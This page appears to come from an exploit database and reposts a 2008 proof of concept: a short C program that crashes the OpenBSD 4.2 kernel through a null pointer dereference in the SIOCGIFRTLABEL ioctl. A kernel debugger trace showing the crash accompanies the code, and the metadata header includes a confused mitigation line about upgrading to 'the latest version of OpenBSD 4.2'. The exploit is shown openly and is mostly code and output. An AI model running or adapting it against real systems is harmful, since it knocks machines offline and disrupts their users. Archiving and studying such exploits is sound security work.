OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl] Null Pointer Dereference local Denial of Service Exploit

vendor:

OpenBSD 4.2

by:

Hunger

7.2

CVSS

HIGH

Null Pointer Dereference

476

CWE

Product Name: OpenBSD 4.2

Affected Version From: OpenBSD 4.2

Affected Version To: OpenBSD 4.2

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: OpenBSD 4.2

2008

OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl] Null Pointer Dereference local Denial of Service Exploit

OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl] Null Pointer Dereference local Denial of Service Exploit is a vulnerability in OpenBSD 4.2 which allows an attacker to cause a denial of service by sending a crafted SIOCGIFRTLABEL ioctl request to the kernel. This exploit was discovered by Hunger and was published in an advisory in 2008.

Mitigation:

Upgrade to the latest version of OpenBSD 4.2

Source

Exploit-DB raw data:

/*
 * OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl]
 * Null Pointer Dereference local Denial of Service Exploit
 *
 * by Hunger <rtlabdos@hunger.hu>
 *
 * Advisory:
 * http://marc.info/?l=openbsd-security-announce&m=120007327504064
 *
 * FOR TESTING PURPOSES ONLY!
 *
 * $ uname -mrsv
 * OpenBSD 4.2 GENERIC#375 i386
 * $ id
 * uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
 * $ ftp -V http://hunger.hu/rtlabdos.c
 * 100% |******************************************|  1814        00:00
 * $ gcc rtlabdos.c -o rtlabdos
 * $ ./rtlabdos
 * uvm_fault(0xd617865e0, 0x0, 0, 1) -> e
 * kernel: page fault trap, code=0
 * Stopped at      strlcpy+0x1c:    movb     0(%edx),%al
 * ddb> trace
 * strlcpy(d826fd98,0,20,6,d61772a0) at strlcpy+0x1c
 * ifioctl(d6033280,c0206983,d826fe78,d616696c,d61772a0) at ifioctl+0xa0d
 * sys_ioctl(d616696c,d826ff68,d826ff58,1c000680,73) at sys_ioctl+0x125
 * syscall() at syscall+0x24a
 * --- syscall (number 54) ---
 * 0xf557d1:
 * ddb> show registers
 * ds                  0x10
 * es                  0x10
 * fs                  0x58
 * gs                  0x10
 * edi                    0
 * esi                 0x20
 * ebp           0xd826fd60        end+0x7a33a90
 * ebx           0xd826fd98        end+0x7a33ac8
 * edx                    0
 * ecx                 0x1f
 * eax                    0
 * eip           0xd064acb0        strlcpy+0x1c
 * cs                   0x8
 * eflags           0x10212
 * esp           0xd826fd54        end+0x7a33a84
 * ss            0xd8260010        end+0x7a23d40
 * strlcpy+0x1c:   movb    0(%edx),%al
 * 
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>

int
main(void)
{
struct ifreq ifr = { .ifr_name = "lo0" };

return ioctl(socket(AF_INET, SOCK_DGRAM, 0), SIOCGIFRTLABEL, &ifr);
}

// milw0rm.com [2008-01-18]